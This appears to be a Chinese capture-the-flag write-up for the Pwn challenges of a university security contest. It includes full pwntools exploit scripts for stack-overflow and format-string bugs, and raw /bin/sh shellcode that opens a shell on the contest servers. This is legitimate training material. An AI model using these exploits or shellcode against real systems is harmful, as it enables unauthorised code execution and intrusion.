CUDSEC——第七届”玄武杯”Pwn方向WP

sign

签到题没什么好说的 flag写在程序里 拖进IDA秒.

easy_shell

算加强版签到了 运行程序看到
image-20241109125426328

提示给了shell 那是提供了后门的(进IDA分析也能看到)
直接

1
ls 1>&0

image-20241109125715321

打远程加上flag查看就好了.

1
cat flag 1>&0

如果说为什么出这个感觉不沾边 问就是之前给新同学们布置过相关学习任务 考察一下(欢迎非预期的佬们交流~

only_chance

这题有学弟卡在第二次地址接收 其实主要还是栈的工作原理理解的不是特别透彻(反思ing

运行其实就有提示没有后门怎么搞 八成要自己构造shellcode多打几次
IDA分析发现gets s的大小是280 这里就可以利用栈溢出重定向到main进行第二次程序运行执行shellcode
使用NOP sled确保在返回到 shellcode 时,即使位置偏移,程序也会“滑行”到有效的指令区域(2048也111)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch = 'arm64', os = 'Linux')

shellcode = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"

e = ELF('./oneChance')

main = e.symbols['main'] + 1
offset = 280

print('[+] main_addr:', hex(main))
print('[+] offest:', hex(offset))

# 构造payload1, ret到main头,获取第二次输入机会
payload1 = offset * b'a' + p64(main)

p = process('./oneChance')
# = remote('127.0.0.1',8888)
p.recvuntil(b'where are them\n')
p.sendline(payload1)

# 获取栈顶地址
stack = int(p.recvline(), 16) + 0x20
print(b'[+] stack:', hex(stack))
p.recv()

payload2 = b'\x90' * 0x50 # 先填充nop链
payload2 += shellcode # 执行shellcode
payload2 += b'a' * (offset - len(shellcode) - 0x50) # 填充完剩余栈区
payload2 += p64(stack) # ret: 回到栈顶,开始执行

p.sendline(payload2)

p.interactive()

也有师傅是shellcode接受栈地址 然后控制程序流执行到shellcode 就可以拿到shell了 比我这个精简多了.下附R师傅的思路.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
from pwn import *
import base64
#p=process('./one_chance')
p=remote('nc1.ctfplus.cn', 49494)
context.clear(arch='amd64', os='linux', log_level='debug')
elf=ELF('./one_chance')


pop_rdi=0x0000000000401463
gets_plt=elf.plt['gets']
ret=0x000000000040101a
payload=b'a'*0x110+p64(0x404500)+p64(ret)+p64(0x401360)
#gdb.attach(p)
p.sendlineafter(b"I'll tell where are them\n",payload)
stack=int(p.recv(12),16)+0x10
log.info(hex(stack))
shell=shellcraft.sh()
shell=asm(shell)
payload=shell.ljust(0x118,b'a')+p64(stack)
p.sendlineafter(b"I'll tell where are them\n",payload)
p.interactive()

2048

如果你是2048高手 那这题真的就是送了 但是感觉有点遗憾 没有很多师傅的反馈呜呜(也可能是有些师傅觉得太easy不屑一顾hh 🤩
其实主要是一个非预期填充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
xt.arch = 'amd64'
context.os = 'linux'
# context.log_level = 'debug'

#p = process("./p2048")
p = remote("nc1.ctfplus.cn",22770)

payload = b'z' * (1024 + 28) + b'\n'*40 + b'w'#非预期填充


# 发送payload
p.sendline(payload)

# 交互模式
p.interactive()

echo

Hint是栈和格式化字符串 需要debug
貌似这题存在些疑问 希望有问题的师傅可以下来一起交流(lose 我是菜菜fw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p=process("./echo2")
#p = remote('nc1.ctfplus.cn',40454)
elf=ELF("./echo2")

p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")

payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20


p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")

p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()